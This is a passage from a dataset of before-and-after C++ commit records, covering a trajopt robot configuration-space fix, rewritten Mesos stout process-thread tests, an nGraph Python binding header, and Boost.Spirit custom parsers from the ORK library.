\"trajopt\/configuration_space.hpp\"\n#include <boost\/foreach.hpp>\n#include \"trajopt\/rave_utils.hpp\"\n#include \"utils\/math.hpp\"\nusing namespace OpenRAVE;\nusing namespace util;\n\n\/\/ TODO: configuration should know something about what dofs are part of SO(1), SO(2) etc for functions like RandomDOFValues\n\nnamespace trajopt {\n\nvoid RobotAndDOF::SetDOFValues(const DblVec& dofs) {\n if (affinedofs != 0) {\n OR::Transform T;\n OR::RaveGetTransformFromAffineDOFValues(T, dofs.begin()+joint_inds.size(), affinedofs, rotationaxis, true);\n robot->SetTransform(T);\n if (joint_inds.size() > 0)\n robot->SetDOFValues(dofs, false, joint_inds);\n }\n else {\n robot->SetDOFValues(dofs, false, joint_inds);\n }\n}\n\nDblVec RobotAndDOF::GetDOFValues() {\n DblVec out;\n if (joint_inds.size() > 0):\n robot->GetDOFValues(out, joint_inds);\n if (affinedofs != 0) {\n out.resize(GetDOF());\n OR::Transform T = robot->GetTransform();\n OR::RaveGetAffineDOFValuesFromTransform(out.begin() + joint_inds.size(), T, affinedofs, rotationaxis);\n }\n return out;\n}\n\nvoid RobotAndDOF::SetRobotActiveDOFs() {\n RobotBasePtr robot1 = boost::dynamic_pointer_cast<RobotBase>(robot); \/\/ since robot is just a kinbody\n vector<int> current_active = robot1->GetActiveDOFIndices();\n if (robot1->GetActiveDOF() != GetDOF() || !std::equal(current_active.begin(), current_active.end(), joint_inds.begin()))\n robot1->SetActiveDOFs(joint_inds, affinedofs);\n}\n\nvoid RobotAndDOF::GetDOFLimits(DblVec& lower, DblVec& upper) const {\n if (joint_inds.size() > 0)\n robot->GetDOFLimits(lower, upper, joint_inds);\n const int translation_dofs[3] = {DOF_X, DOF_Y, DOF_Z};\n for (int i=0; i < 3; ++i) {\n if (affinedofs & translation_dofs[i]) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n if (affinedofs & DOF_RotationMask) {\n if (affinedofs & DOF_RotationAxis) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n else if (affinedofs & DOF_Rotation3D) {\n for (int i=0; i < 3; ++i) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n else if (affinedofs & DOF_Rotation3D) {\n for (int i=0; i < 3; ++i) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n else if (affinedofs & DOF_RotationQuat) {\n for (int i=0; i < 4; ++i) {\n lower.push_back(-1);\n upper.push_back(1);\n }\n }\n else throw OR::openrave_exception(\"invalid rotation dofs\", ORE_InvalidArguments);\n }\n}\nint RobotAndDOF::GetDOF() const {\n return joint_inds.size() + RaveGetAffineDOF(affinedofs);\n}\nDblMatrix RobotAndDOF::PositionJacobian(int link_ind, const OR::Vector& pt) const {\n Configuration::SaverPtr saver = const_cast<RobotAndDOF*>(this)->Save();\n const_cast<RobotAndDOF*>(this)->SetRobotActiveDOFs();\n vector<double> jacdata;\n boost::dynamic_pointer_cast<RobotBase>(robot)->CalculateActiveJacobian(link_ind, pt, jacdata);\n return Eigen::Map<DblMatrix>(jacdata.data(), 3, GetDOF());\n}\nDblMatrix RobotAndDOF::RotationJacobian(int link_ind) const {\n Configuration::SaverPtr saver = const_cast<RobotAndDOF*>(this)->Save();\n const_cast<RobotAndDOF*>(this)->SetRobotActiveDOFs();\n vector<double> jacdata;\n boost::dynamic_pointer_cast<RobotBase>(robot)->ComputeJacobianAxisAngle(link_ind, jacdata);\n return Eigen::Map<DblMatrix>(jacdata.data(), 3, GetDOF()); \n}\nbool RobotAndDOF::DoesAffect(const KinBody::Link& link) {\n if (affinedofs > 0) return true;\n else if (link.GetParent() == GetRobot()) return trajopt::DoesAffect(*GetRobot(), joint_inds, GetRobotLinkIndex(*GetRobot(), link));\n else return false;\n}\n\nstd::vector<KinBody::LinkPtr> RobotAndDOF::GetAffectedLinks() {\n vector<int> inds;\n std::vector<KinBody::LinkPtr> out;\n GetAffectedLinks(out,false,inds);\n return out;\n}\n\nvoid RobotAndDOF::GetAffectedLinks(std::vector<KinBody::LinkPtr>& links, bool only_with_geom, vector<int>& link_inds) {\n links.clear();\n link_inds.clear();\n BOOST_FOREACH(const KinBody::LinkPtr& link, GetRobot()->GetLinks()) {\n if (this->DoesAffect(*link) && !(only_with_geom && link->GetGeometries().empty())) {\n links.push_back(link);\n link_inds.push_back(link->GetIndex());\n }\n }\n\n vector<KinBodyPtr> grabbed;\n boost::dynamic_pointer_cast<RobotBase>(robot)->GetGrabbed(grabbed);\n BOOST_FOREACH(const KinBodyPtr& body, grabbed) {\n KinBody::LinkPtr grabberLink = boost::dynamic_pointer_cast<RobotBase>(robot)->IsGrabbing(body);\n assert(grabberLink);\n BOOST_FOREACH(const KinBody::LinkPtr& link, body->GetLinks()) {\n if (link->GetGeometries().size() > 0) {\n links.push_back(link);\n link_inds.push_back(grabberLink->GetIndex());\n }\n }\n }\n\n}\n\nvector<KinBodyPtr> RobotAndDOF::GetBodies() {\n std::set<KinBodyPtr> bodies;\n robot->GetAttached(bodies);\n return vector<KinBodyPtr> (bodies.begin(), bodies.end());\n} \n\n\nDblVec RobotAndDOF::RandomDOFValues() {\n int ndof = GetDOF();\n DblVec lower, upper;\n GetDOFLimits(lower, upper);\n DblVec out(ndof);\n for (int i=0; i < ndof; ++i) {\n \/\/ TODO this is only right for a circular joint!!\n lower[i] = fmax(lower[i], -2*M_PI);\n upper[i] = fmin(upper[i], 2*M_PI);\n out[i] = lower[i] + randf() * (upper[i] - lower[i]);\n }\n return out;\n}\n\n\n\n}\n<commit_msg>Fixed typo<commit_after>#include \"trajopt\/configuration_space.hpp\"\n#include <boost\/foreach.hpp>\n#include \"trajopt\/rave_utils.hpp\"\n#include \"utils\/math.hpp\"\nusing namespace OpenRAVE;\nusing namespace util;\n\n\/\/ TODO: configuration should know something about what dofs are part of SO(1), SO(2) etc for functions like RandomDOFValues\n\nnamespace trajopt {\n\nvoid RobotAndDOF::SetDOFValues(const DblVec& dofs) {\n if (affinedofs != 0) {\n OR::Transform T;\n OR::RaveGetTransformFromAffineDOFValues(T, dofs.begin()+joint_inds.size(), affinedofs, rotationaxis, true);\n robot->SetTransform(T);\n if (joint_inds.size() > 0)\n robot->SetDOFValues(dofs, false, joint_inds);\n }\n else {\n robot->SetDOFValues(dofs, false, joint_inds);\n }\n}\n\nDblVec RobotAndDOF::GetDOFValues() {\n DblVec out;\n if (joint_inds.size() > 0)\n robot->GetDOFValues(out, joint_inds);\n if (affinedofs != 0) {\n out.resize(GetDOF());\n OR::Transform T = robot->GetTransform();\n OR::RaveGetAffineDOFValuesFromTransform(out.begin() + joint_inds.size(), T, affinedofs, rotationaxis);\n }\n return out;\n}\n\nvoid RobotAndDOF::SetRobotActiveDOFs() {\n RobotBasePtr robot1 = boost::dynamic_pointer_cast<RobotBase>(robot); \/\/ since robot is just a kinbody\n vector<int> current_active = robot1->GetActiveDOFIndices();\n if (robot1->GetActiveDOF() != GetDOF() || !std::equal(current_active.begin(), current_active.end(), joint_inds.begin()))\n robot1->SetActiveDOFs(joint_inds, affinedofs);\n}\n\nvoid RobotAndDOF::GetDOFLimits(DblVec& lower, DblVec& upper) const {\n if (joint_inds.size() > 0)\n robot->GetDOFLimits(lower, upper, joint_inds);\n const int translation_dofs[3] = {DOF_X, DOF_Y, DOF_Z};\n for (int i=0; i < 3; ++i) {\n if (affinedofs & translation_dofs[i]) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n if (affinedofs & DOF_RotationMask) {\n if (affinedofs & DOF_RotationAxis) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n else if (affinedofs & DOF_Rotation3D) {\n for (int i=0; i < 3; ++i) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n else if (affinedofs & DOF_Rotation3D) {\n for (int i=0; i < 3; ++i) {\n lower.push_back(-INFINITY);\n upper.push_back(INFINITY);\n }\n }\n else if (affinedofs & DOF_RotationQuat) {\n for (int i=0; i < 4; ++i) {\n lower.push_back(-1);\n upper.push_back(1);\n }\n }\n else throw OR::openrave_exception(\"invalid rotation dofs\", ORE_InvalidArguments);\n }\n}\nint RobotAndDOF::GetDOF() const {\n return joint_inds.size() + RaveGetAffineDOF(affinedofs);\n}\nDblMatrix RobotAndDOF::PositionJacobian(int link_ind, const OR::Vector& pt) const {\n Configuration::SaverPtr saver = const_cast<RobotAndDOF*>(this)->Save();\n const_cast<RobotAndDOF*>(this)->SetRobotActiveDOFs();\n vector<double> jacdata;\n boost::dynamic_pointer_cast<RobotBase>(robot)->CalculateActiveJacobian(link_ind, pt, jacdata);\n return Eigen::Map<DblMatrix>(jacdata.data(), 3, GetDOF());\n}\nDblMatrix RobotAndDOF::RotationJacobian(int link_ind) const {\n Configuration::SaverPtr saver = const_cast<RobotAndDOF*>(this)->Save();\n const_cast<RobotAndDOF*>(this)->SetRobotActiveDOFs();\n vector<double> jacdata;\n boost::dynamic_pointer_cast<RobotBase>(robot)->ComputeJacobianAxisAngle(link_ind, jacdata);\n return Eigen::Map<DblMatrix>(jacdata.data(), 3, GetDOF()); \n}\nbool RobotAndDOF::DoesAffect(const KinBody::Link& link) {\n if (affinedofs > 0) return true;\n else if (link.GetParent() == GetRobot()) return trajopt::DoesAffect(*GetRobot(), joint_inds, GetRobotLinkIndex(*GetRobot(), link));\n else return false;\n}\n\nstd::vector<KinBody::LinkPtr> RobotAndDOF::GetAffectedLinks() {\n vector<int> inds;\n std::vector<KinBody::LinkPtr> out;\n GetAffectedLinks(out,false,inds);\n return out;\n}\n\nvoid RobotAndDOF::GetAffectedLinks(std::vector<KinBody::LinkPtr>& links, bool only_with_geom, vector<int>& link_inds) {\n links.clear();\n link_inds.clear();\n BOOST_FOREACH(const KinBody::LinkPtr& link, GetRobot()->GetLinks()) {\n if (this->DoesAffect(*link) && !(only_with_geom && link->GetGeometries().empty())) {\n links.push_back(link);\n link_inds.push_back(link->GetIndex());\n }\n }\n\n vector<KinBodyPtr> grabbed;\n boost::dynamic_pointer_cast<RobotBase>(robot)->GetGrabbed(grabbed);\n BOOST_FOREACH(const KinBodyPtr& body, grabbed) {\n KinBody::LinkPtr grabberLink = boost::dynamic_pointer_cast<RobotBase>(robot)->IsGrabbing(body);\n assert(grabberLink);\n BOOST_FOREACH(const KinBody::LinkPtr& link, body->GetLinks()) {\n if (link->GetGeometries().size() > 0) {\n links.push_back(link);\n link_inds.push_back(grabberLink->GetIndex());\n }\n }\n }\n\n}\n\nvector<KinBodyPtr> RobotAndDOF::GetBodies() {\n std::set<KinBodyPtr> bodies;\n robot->GetAttached(bodies);\n return vector<KinBodyPtr> (bodies.begin(), bodies.end());\n} \n\n\nDblVec RobotAndDOF::RandomDOFValues() {\n int ndof = GetDOF();\n DblVec lower, upper;\n GetDOFLimits(lower, upper);\n DblVec out(ndof);\n for (int i=0; i < ndof; ++i) {\n \/\/ TODO this is only right for a circular joint!!\n lower[i] = fmax(lower[i], -2*M_PI);\n upper[i] = fmin(upper[i], 2*M_PI);\n out[i] = lower[i] + randf() * (upper[i] - lower[i]);\n }\n return out;\n}\n\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\n#include <unistd.h> \/\/ For getpid, getppid.\n\n#include <gmock\/gmock.h>\n\n#include <set>\n\n#include <stout\/abort.hpp>\n#include <stout\/gtest.hpp>\n#include <stout\/numify.hpp>\n#include <stout\/os.hpp>\n#include <stout\/proc.hpp>\n#include <stout\/try.hpp>\n\nusing proc::CPU;\nusing proc::SystemStatus;\nusing proc::ProcessStatus;\n\nusing std::set;\nusing std::string;\n\n\nTEST(ProcTest, pids)\n{\n Try<set<pid_t> > pids = proc::pids();\n\n ASSERT_SOME(pids);\n EXPECT_NE(0u, pids.get().size());\n EXPECT_EQ(1u, pids.get().count(getpid()));\n EXPECT_EQ(1u, pids.get().count(1));\n}\n\n\nTEST(ProcTest, cpus)\n{\n Try<std::list<CPU> > cpus = proc::cpus();\n\n ASSERT_SOME(cpus);\n EXPECT_LE(1u, cpus.get().size());\n}\n\n\nTEST(ProcTest, SystemStatus)\n{\n Try<SystemStatus> status = proc::status();\n\n ASSERT_SOME(status);\n EXPECT_NE(0u, status.get().btime);\n}\n\n\nTEST(ProcTest, ProcessStatus)\n{\n Result<ProcessStatus> status = proc::status(getpid());\n\n ASSERT_SOME(status);\n EXPECT_EQ(getpid(), status.get().pid);\n EXPECT_EQ(getppid(), status.get().ppid);\n}\n\n\nTEST(ProcTest, SingleThread)\n{\n pid_t pid = ::fork();\n ASSERT_NE(-1, pid);\n\n if (pid == 0) {\n \/\/ In child process, wait until killed.\n while (true) { sleep(1); }\n\n \/\/ Should not reach here.\n ABORT(\"Error, child should be killed before reaching here\");\n }\n\n \/\/ In parent process.\n \/\/ Check we have the expected number of threads.\n Try<set<pid_t> > threads = proc::threads(pid);\n\n ASSERT_SOME(threads);\n EXPECT_EQ(1u, threads.get().size());\n EXPECT_EQ(1u, threads.get().count(pid));\n\n \/\/ Kill the child process.\n ASSERT_NE(-1, ::kill(pid, SIGKILL));\n\n \/\/ Wait for the child process.\n int status;\n EXPECT_NE(-1, ::waitpid((pid_t) -1, &status, 0));\n ASSERT_TRUE(WIFSIGNALED(status));\n EXPECT_EQ(SIGKILL, WTERMSIG(status));\n}\n\n\nint threadFunction(void*)\n{\n while (true) { sleep(1); }\n\n return -1;\n}\n\n\nTEST(ProcTest, MultipleThreads)\n{\n int ready;\n int pipes[2];\n ASSERT_NE(-1, ::pipe(pipes));\n\n pid_t pid = ::fork();\n ASSERT_NE(-1, pid);\n\n if (pid == 0) {\n \/\/ In child process\n ::close(pipes[0]);\n\n int numThreads = 5;\n\n \/\/ 32 KiB stack (2x the common value for PTHREAD_STACK_MIN) for each thread\n \/\/ is sufficient since they are essentially no-ops.\n size_t stackSize = 32*1024 \/ sizeof(unsigned long long);\n unsigned long long stack[numThreads][stackSize];\n\n set<pid_t> threads;\n\n for (int i = 0; i < numThreads; i++) {\n pid_t thread;\n\n \/\/ We use clone here to create threads because pthread_create is not\n \/\/ async-signal-safe.\n thread = clone(\n threadFunction,\n &(stack[i][stackSize - 1]),\n CLONE_THREAD | CLONE_SIGHAND | CLONE_VM | CLONE_FILES | SIGCHLD,\n NULL);\n\n EXPECT_NE(-1, thread);\n\n threads.insert(thread);\n }\n\n \/\/ Also add our own pid to the set.\n threads.insert(getpid());\n\n \/\/ Notify parent of the thread ids.\n ASSERT_SOME(os::write(pipes[1], strings::join(\",\", threads)));\n\n \/\/ NOTE: CLONE_FILES ensures the pipe file descriptor will be closed in the\n \/\/ threads as well, ensuring the parent gets the EOF.\n ::close(pipes[1]);\n\n \/\/ Sleep until killed.\n while (true) { sleep(1); }\n\n \/\/ Should not reach here.\n ABORT(\"Error, child should be killed before reaching here\");\n }\n\n \/\/ In parent process.\n ::close(pipes[1]);\n\n \/\/ Get thread ids from the child. Read up to the first 1024 characters which\n \/\/ is sufficient for the expected number of stringified pids.\n Result<string> read = os::read(pipes[0], 1024);\n ASSERT_SOME(read);\n\n set<pid_t> childThreads;\n foreach (const string& token, strings::tokenize(read.get(), \",\")) {\n Try<pid_t> thread = numify<pid_t>(token);\n ASSERT_SOME(thread);\n\n childThreads.insert(thread.get());\n }\n\n \/\/ Read thread ids from \/proc for the child.\n Try<set<pid_t> > procThreads = proc::threads(pid);\n\n \/\/ Check we have the expected threads.\n ASSERT_SOME_EQ(childThreads, procThreads);\n\n \/\/ Kill the child process.\n ASSERT_NE(-1, ::kill(pid, SIGKILL));\n\n \/\/ Wait for the child process.\n int status;\n EXPECT_NE(-1, ::waitpid((pid_t) -1, &status, 0));\n EXPECT_TRUE(WIFSIGNALED(status));\n EXPECT_EQ(SIGKILL, WTERMSIG(status));\n}\n<commit_msg>Correct and simplify the ProcTests for threads.<commit_after>#include <iostream>\n\n#include <pthread.h>\n#include <unistd.h> \/\/ For getpid, getppid.\n\n#include <gmock\/gmock.h>\n\n#include <set>\n\n#include <stout\/abort.hpp>\n#include <stout\/gtest.hpp>\n#include <stout\/numify.hpp>\n#include <stout\/os.hpp>\n#include <stout\/proc.hpp>\n#include <stout\/try.hpp>\n\nusing proc::CPU;\nusing proc::SystemStatus;\nusing proc::ProcessStatus;\n\nusing std::set;\nusing std::string;\n\n\nTEST(ProcTest, pids)\n{\n Try<set<pid_t> > pids = proc::pids();\n\n ASSERT_SOME(pids);\n EXPECT_NE(0u, pids.get().size());\n EXPECT_EQ(1u, pids.get().count(getpid()));\n EXPECT_EQ(1u, pids.get().count(1));\n}\n\n\nTEST(ProcTest, cpus)\n{\n Try<std::list<CPU> > cpus = proc::cpus();\n\n ASSERT_SOME(cpus);\n EXPECT_LE(1u, cpus.get().size());\n}\n\n\nTEST(ProcTest, SystemStatus)\n{\n Try<SystemStatus> status = proc::status();\n\n ASSERT_SOME(status);\n EXPECT_NE(0u, status.get().btime);\n}\n\n\nTEST(ProcTest, ProcessStatus)\n{\n Result<ProcessStatus> status = proc::status(getpid());\n\n ASSERT_SOME(status);\n EXPECT_EQ(getpid(), status.get().pid);\n EXPECT_EQ(getppid(), status.get().ppid);\n}\n\n\n\/\/ NOTE: This test assumes there is a single thread running for the test.\nTEST(ProcTest, SingleThread)\n{\n \/\/ Check we have the expected number of threads.\n Try<set<pid_t> > threads = proc::threads(::getpid());\n\n ASSERT_SOME(threads);\n EXPECT_EQ(1u, threads.get().size());\n EXPECT_EQ(1u, threads.get().count(::getpid()));\n}\n\n\nvoid* threadFunction(void*)\n{\n \/\/ Newly created threads have PTHREAD_CANCEL_ENABLE and\n \/\/ PTHREAD_CANCEL_DEFERRED so they can be cancelled from the main thread.\n while (true) { sleep(1); }\n}\n\n\n\/\/ NOTE: This test assumes there is only a single thread running for the test.\nTEST(ProcTest, MultipleThreads)\n{\n size_t numThreads = 5;\n\n pthread_t pthreads[numThreads];\n\n \/\/ Create additional threads.\n for (size_t i = 0; i < numThreads; i++)\n {\n EXPECT_EQ(0, pthread_create(&pthreads[i], NULL, threadFunction, NULL));\n }\n\n \/\/ Check we have the expected number of threads.\n Try<set<pid_t> > threads = proc::threads(::getpid());\n\n ASSERT_SOME(threads);\n EXPECT_EQ(1u + numThreads, threads.get().size());\n EXPECT_EQ(1u, threads.get().count(::getpid()));\n\n \/\/ Terminate the threads.\n for (int i = 0; i < numThreads; i++)\n {\n EXPECT_EQ(0, pthread_cancel(pthreads[i]));\n EXPECT_EQ(0, pthread_join(pthreads[i], NULL));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/*****************************************************************************\n\/\/ Copyright 2017-2020 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/*****************************************************************************\n\n#pragma once\n\n#include <pybind11\/pybind11.h>\n#include \"pyngraph\/ops\/allreduce.hpp\"\n#include \"pyngraph\/ops\/argmax.hpp\"\n#include \"pyngraph\/ops\/argmin.hpp\"\n#include \"pyngraph\/ops\/avg_pool.hpp\"\n#include \"pyngraph\/ops\/batch_norm.hpp\"\n#include \"pyngraph\/ops\/broadcast.hpp\"\n#include \"pyngraph\/ops\/broadcast_distributed.hpp\"\n#include \"pyngraph\/ops\/constant.hpp\"\n#include \"pyngraph\/ops\/convert.hpp\"\n#include \"pyngraph\/ops\/convolution.hpp\"\n#include \"pyngraph\/ops\/dequantize.hpp\"\n#include \"pyngraph\/ops\/dot.hpp\"\n#include \"pyngraph\/ops\/fused\/depth_to_space.hpp\"\n#include \"pyngraph\/ops\/fused\/gelu.hpp\"\n#include \"pyngraph\/ops\/fused\/gemm.hpp\"\n#include \"pyngraph\/ops\/fused\/grn.hpp\"\n#include \"pyngraph\/ops\/fused\/group_conv.hpp\"\n#include \"pyngraph\/ops\/fused\/hard_sigmoid.hpp\"\n#include \"pyngraph\/ops\/fused\/mvn.hpp\"\n#include \"pyngraph\/ops\/fused\/rnn_cell.hpp\"\n#include \"pyngraph\/ops\/fused\/scale_shift.hpp\"\n#include \"pyngraph\/ops\/fused\/shuffle_channels.hpp\"\n#include \"pyngraph\/ops\/fused\/space_to_depth.hpp\"\n#include \"pyngraph\/ops\/fused\/unsqueeze.hpp\"\n#include \"pyngraph\/ops\/get_output_element.hpp\"\n#include \"pyngraph\/ops\/max.hpp\"\n#include \"pyngraph\/ops\/max_pool.hpp\"\n#include \"pyngraph\/ops\/maximum.hpp\"\n#include \"pyngraph\/ops\/min.hpp\"\n#include \"pyngraph\/ops\/parameter.hpp\"\n#include \"pyngraph\/ops\/passthrough.hpp\"\n#include \"pyngraph\/ops\/product.hpp\"\n#include \"pyngraph\/ops\/quantize.hpp\"\n#include \"pyngraph\/ops\/quantized_convolution.hpp\"\n#include \"pyngraph\/ops\/quantized_dot.hpp\"\n#include \"pyngraph\/ops\/replace_slice.hpp\"\n#include \"pyngraph\/ops\/result.hpp\"\n#include \"pyngraph\/ops\/slice.hpp\"\n#include \"pyngraph\/ops\/softmax.hpp\"\n\n\nnamespace py = pybind11;\n\nvoid regmodule_pyngraph_op(py::module m);\n<commit_msg>Style apply<commit_after>\/\/*****************************************************************************\n\/\/ Copyright 2017-2020 Intel Corporation\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/*****************************************************************************\n\n#pragma once\n\n#include <pybind11\/pybind11.h>\n#include \"pyngraph\/ops\/allreduce.hpp\"\n#include \"pyngraph\/ops\/argmax.hpp\"\n#include \"pyngraph\/ops\/argmin.hpp\"\n#include \"pyngraph\/ops\/avg_pool.hpp\"\n#include \"pyngraph\/ops\/batch_norm.hpp\"\n#include \"pyngraph\/ops\/broadcast.hpp\"\n#include \"pyngraph\/ops\/broadcast_distributed.hpp\"\n#include \"pyngraph\/ops\/constant.hpp\"\n#include \"pyngraph\/ops\/convert.hpp\"\n#include \"pyngraph\/ops\/convolution.hpp\"\n#include \"pyngraph\/ops\/dequantize.hpp\"\n#include \"pyngraph\/ops\/dot.hpp\"\n#include \"pyngraph\/ops\/fused\/depth_to_space.hpp\"\n#include \"pyngraph\/ops\/fused\/gelu.hpp\"\n#include \"pyngraph\/ops\/fused\/gemm.hpp\"\n#include \"pyngraph\/ops\/fused\/grn.hpp\"\n#include \"pyngraph\/ops\/fused\/group_conv.hpp\"\n#include \"pyngraph\/ops\/fused\/hard_sigmoid.hpp\"\n#include \"pyngraph\/ops\/fused\/mvn.hpp\"\n#include \"pyngraph\/ops\/fused\/rnn_cell.hpp\"\n#include \"pyngraph\/ops\/fused\/scale_shift.hpp\"\n#include \"pyngraph\/ops\/fused\/shuffle_channels.hpp\"\n#include \"pyngraph\/ops\/fused\/space_to_depth.hpp\"\n#include \"pyngraph\/ops\/fused\/unsqueeze.hpp\"\n#include \"pyngraph\/ops\/get_output_element.hpp\"\n#include \"pyngraph\/ops\/max.hpp\"\n#include \"pyngraph\/ops\/max_pool.hpp\"\n#include \"pyngraph\/ops\/maximum.hpp\"\n#include \"pyngraph\/ops\/min.hpp\"\n#include \"pyngraph\/ops\/parameter.hpp\"\n#include \"pyngraph\/ops\/passthrough.hpp\"\n#include \"pyngraph\/ops\/product.hpp\"\n#include \"pyngraph\/ops\/quantize.hpp\"\n#include \"pyngraph\/ops\/quantized_convolution.hpp\"\n#include \"pyngraph\/ops\/quantized_dot.hpp\"\n#include \"pyngraph\/ops\/replace_slice.hpp\"\n#include \"pyngraph\/ops\/result.hpp\"\n#include \"pyngraph\/ops\/slice.hpp\"\n#include \"pyngraph\/ops\/softmax.hpp\"\n\nnamespace py = pybind11;\n\nvoid regmodule_pyngraph_op(py::module m);\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#pragma once\n#include\"boost\/spirit\/home\/support\/common_terminals.hpp\"\n#include\"boost\/spirit\/home\/qi.hpp\"\n#include\"ork\/ork.hpp\"\n\n\n\/*\nPlaceholders for parser components\n*\/\nnamespace ork {\nnamespace orq {\/\/ork-qi :)\n\nBOOST_SPIRIT_TERMINAL(id);\nBOOST_SPIRIT_TERMINAL(quote);\nBOOST_SPIRIT_TERMINAL(lb_com);\/\/'pound comment'\n\n}\/\/namespace orq\n}\/\/namespace ork\n\n\n\/*\nEnablers for parser components\n*\/\nnamespace boost {\nnamespace spirit {\n\n\/\/Make custom parser usable as a terminal only, and only for parser expressions (qi::domain).\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::id> : mpl::true_ {};\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::quote> : mpl::true_ {};\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::lb_com> : mpl::true_ {};\n\n}\/\/namespace spirit\n}\/\/namespace boost\n\n\n\nnamespace ork {\n\nnamespace spirit = boost::spirit;\nnamespace qi = spirit::qi;\nnamespace ascii = spirit::ascii;\nnamespace proto = boost::proto;\n\n\n#if ORK_UNICODE\ntypedef spirit::char_encoding::standard_wide charset;\n#else\ntypedef spirit::char_encoding::standard charset;\n#endif\n\n\nnamespace orq {\/\/ork-qi :)\n\n\nstruct ORK_ORK_API id_parser : qi::primitive_parser<id_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef string type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(!std::isalpha(*it) && *it != ORK('_')) {\n\t\t\treturn false;\/\/First character must be letter or underscore\n\t\t}\n\t\twhile(it != last && (std::isalnum(*it) || *it == ORK('_'))) {\n\t\t\t++it;\/\/Subsequent characters can be numbers also\n\t\t}\n\n\t\tattribute result(first, it);\n\t\tif(result.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tfirst = it;\n\t\tspirit::traits::assign_to(result, attr);\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"id\");\n\t}\n};\n\n\nstruct ORK_ORK_API quote_parser : qi::primitive_parser<quote_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef string type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(*it++ != ORK('\"')) {\/\/Consume the quote\n\t\t\treturn false;\n\t\t}\n\t\twhile(it != last && *it != ORK('\"')) {\/\/Up to but do not consume the quote\n\t\t\t++it;\n\t\t}\n\t\tif(it == last) {\n\t\t\treturn false;\n\t\t}\n\t\tif(*it++ != ORK('\"')) {\/\/Consume the quote\n\t\t\treturn false;\n\t\t}\n\n\t\tattribute result(first, it);\n\t\t\/\/Allow empty attribute\n\n\t\tfirst = it;\n\t\tspirit::traits::assign_to(result, attr);\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"quote\");\n\t}\n};\n\n\nstruct ORK_ORK_API lb_com_parser : qi::primitive_parser<lb_com_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef qi::unused_type type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(*it++ != ORK('#')) {\/\/Consume the marker\n\t\t\treturn false;\n\t\t}\n\t\twhile(it != last && *it != ORK('\\n')) {\/\/Up to but do not consume the eol\n\t\t\t++it;\n\t\t}\n\n\t\tfirst = it;\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"lb_com\");\n\t}\n};\n\n\n}\/\/namespace orq\n}\/\/namespace 